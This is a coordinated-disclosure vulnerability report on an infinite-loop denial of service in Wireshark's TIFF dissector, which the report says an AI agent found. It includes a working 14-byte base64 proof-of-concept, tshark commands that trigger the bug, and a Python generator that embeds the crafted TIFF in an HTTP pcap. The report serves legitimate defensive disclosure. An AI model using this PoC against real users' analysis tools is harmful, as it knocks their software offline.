TIFF dissector: IFD chain has no cycle detection, so a self-referential IFD makes the dissector loop forever (infinite loop, DoS)
This issue was discovered by a AI agent (Claude) and independently validated by a me.
Summary
dissect_tiff() follows the TIFF Image File Directory (IFD) chain by repeatedly calling dissect_tiff_ifd() with the 32-bit "next IFD" offset it reads verbatim from the input. There is no visited-offset set, no requirement that the offset advance, and no iteration cap, so a TIFF whose IFD points its next-IFD field back at itself makes the walker loop over the same bytes forever. A bounds exception cannot rescue it, because the crafted offset is deliberately in bounds — the whole PoC is 14 bytes and the IFD it points at is the one already being parsed.
The dissector is reachable in the default configuration: directly, via the default-enabled wtap_file heuristic when a .tif is opened, and from ordinary captured traffic via the image/tiff media_type entry (e.g. an HTTP/WSP/MIME body).
Impact
Opening a 14-byte crafted TIFF (directly or embedded in a capture) wedges tshark/wireshark at 100 % CPU indefinitely — a denial of service for anyone opening the file or dissecting the traffic. This is availability-only: no memory is read or written out of bounds, and there is no path to code execution.
Root cause
// epan/dissectors/file-tiff.c:783-802 — dissect_tiff_ifd()
static uint32_t
dissect_tiff_ifd(tvbuff_t *tvb, packet_info *pinfo _U_, proto_tree *tree, uint32_t offset, int encoding) {
uint16_t ifd_count = tvb_get_uint16(tvb, offset, encoding);
...
proto_tree_add_item(ifd_tree, hf_tiff_ifd_next, tvb, offset, 4, encoding);
uint32_t ifd_next = tvb_get_uint32(tvb, offset, encoding); // attacker-controlled, unchecked
return ifd_next;
}
// epan/dissectors/file-tiff.c:841-845 — dissect_tiff()
// Keep dissecting IFDs until the offset to the next one is zero
while (ifd_offset != 0) {
ifd_offset = dissect_tiff_ifd(tvb, pinfo, tiff_tree, ifd_offset, encoding);
}The loop's only exit is ifd_offset == 0, and ifd_offset is input data. (The structurally equivalent EXIF IFD walker in epan/dissectors/file-jpeg.c does bound its traversal, which is what makes this a missing check rather than an intentional design.)
Why Wireshark's generic loop safeguards do not fire
SECURITY.md discounts "loops that are caught by our API" (the large-tree-item counter and the "idleness"/no-offset-advance check). Both of those checks live in the proto-tree item constructors, and every entry point to them begins with CHECK_FOR_NULL_TREE(tree), which returns before the counters are touched:
// epan/proto.c:1556 — proto_tree_add_text_valist_internal(), backend of proto_tree_add_subtree()
CHECK_FOR_NULL_TREE(tree);
TRY_TO_FAKE_THIS_ITEM(tree, hf_text_only, hfinfo); /* gui_max_tree_items counter is here */So with tree == NULL no item is counted, the idleness counter never advances, and neither safeguard runs. tree == NULL is exactly the default single-pass tshark -r and first pass of two-pass tshark -2 -r dissection, so the loop runs unbounded there. (Under -V, where a tree is built, the tree-item safeguard eventually throws — but the default no-tree path has no such backstop.)
Reproduction
Self-contained. Build the shipped tshark at the validated commit, decode the inline 14-byte PoC, and open it — the process wedges.
git clone https://github.com/wireshark/wireshark && cd wireshark
git checkout 09451d415576c2b4790cbe36cfb2af2f433663a9
cmake -G Ninja -B build -S . -DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_C_FLAGS='-g -O1' -DBUILD_wireshark=OFF -DENABLE_LUA=OFF
cmake --build build --target tshark
# --- crafted input (base64, decodes to a 14-byte little-endian TIFF) ---
# II* IFD @ offset 8 | entry count 0 | next-IFD offset = 8 (points at itself)
base64 -d > poc.tif <<'B64'
SUkqAAgAAAAAAAgAAAA=
B64
# --- trigger: default single-pass dissection wedges (Ctrl-C to stop) ---
timeout 20 ./build/run/tshark -r poc.tif ; echo "exit=$? (124 = still running when timeout fired)"For transparency, the base64 capture above was produced by this generator (you do not need to run it — the base64 is self-contained). It also emits benign.tif (identical but next-IFD = 0, which terminates immediately) and poc.pcap (the same TIFF as an HTTP image/tiff body, which wedges via the media_type path):
#!/usr/bin/env python3
"""Generate the ANT-2026-R0MGYXWQ TIFF PoCs.
poc.tif - 14-byte little-endian TIFF whose single IFD's next-IFD pointer
points back at itself (offset 8), creating a cycle in the IFD chain.
benign.tif - identical but with next-IFD = 0 (control; terminates immediately).
poc.pcap - one Ethernet/IPv4/TCP packet carrying an HTTP/1.1 200 response with
Content-Type: image/tiff and poc.tif as the body.
"""
import struct, sys
def tiff(next_ifd):
b = b'II' # little-endian
b += struct.pack('<H', 42) # magic
b += struct.pack('<I', 8) # lead IFD at offset 8
b += struct.pack('<H', 0) # IFD entry count = 0
b += struct.pack('<I', next_ifd)
return b
POC = tiff(8) # self-referential -> infinite chain
BENIGN = tiff(0) # terminates
def ip_csum(hdr):
s = 0
for i in range(0, len(hdr), 2):
s += (hdr[i] << 8) + hdr[i+1]
while s >> 16:
s = (s & 0xffff) + (s >> 16)
return (~s) & 0xffff
def pcap(body):
http = (b'HTTP/1.1 200 OK\r\n'
b'Content-Type: image/tiff\r\n'
b'Content-Length: ' + str(len(body)).encode() + b'\r\n'
b'Connection: close\r\n\r\n' + body)
tcp = struct.pack('>HHIIBBHHH', 80, 40000, 1, 1, 5 << 4, 0x18, 8192, 0, 0) + http
total = 20 + len(tcp)
iph = struct.pack('>BBHHHBBH4s4s', 0x45, 0, total, 1, 0, 64, 6, 0,
bytes([10, 0, 0, 1]), bytes([10, 0, 0, 2]))
iph = iph[:10] + struct.pack('>H', ip_csum(iph)) + iph[12:]
eth = b'\x00\x11\x22\x33\x44\x55' + b'\x66\x77\x88\x99\xaa\xbb' + b'\x08\x00'
frame = eth + iph + tcp
out = struct.pack('<IHHiIII', 0xa1b2c3d4, 2, 4, 0, 0, 65535, 1)
out += struct.pack('<IIII', 1700000000, 0, len(frame), len(frame)) + frame
return out
d = sys.argv[1] if len(sys.argv) > 1 else '.'
open(d + '/poc.tif', 'wb').write(POC)
open(d + '/benign.tif', 'wb').write(BENIGN)
open(d + '/poc.pcap', 'wb').write(pcap(POC))
print('poc.tif =', POC.hex(), '(%d bytes)' % len(POC))
print('benign.tif=', BENIGN.hex(), '(%d bytes)' % len(BENIGN))Observed behaviour (rebuilt and run at HEAD 09451d415576, 2026-09-06)
The benign control (next-IFD = 0) dissects and exits immediately. The PoC never returns; after 20s (we also test 180s, same result) the process is still running at 100 % CPU, wedged inside the IFD walk. Live backtrace of the wedged tshark -r poc.tif:
CASE: tshark default single pass CMD: tshark -r poc.tif
RESULT: STILL RUNNING after 20 s -- process is wedged
#0 proto_tree_add_text_valist_internal (... length=-361099776 ...) at epan/proto.c:1567
#1 proto_tree_add_subtree_format (...) at epan/proto.c:1591
#2 proto_tree_add_subtree (...) at epan/proto.c:1574
#3 dissect_tiff_ifd (tvb=..., tree=0x0, offset=8, encoding=-2147483648) at epan/dissectors/file-tiff.c:789
#4 dissect_tiff (...) at epan/dissectors/file-tiff.c:844
#5 dissect_tiff_heur (...) at epan/dissectors/file-tiff.c:1151
#6 dissector_try_heuristic (...) at epan/packet.c:3154The same wedge occurs on the two-pass path (tshark -2 -r poc.tif, first pass tree == NULL) and when the TIFF is carried as an HTTP image/tiff body (tshark -r poc.pcap).
Attribution
Please credit Claude and Ada Logics — found by Anthropic using agents to study the security of open-source projects, with Ada Logics validating and reporting.
Disclosure
We defer to the Wireshark security team on advisory/CVE and disclosure timing; our default guideline is 90-day coordinated disclosure (https://www.anthropic.com/coordinated-vulnerability-disclosure).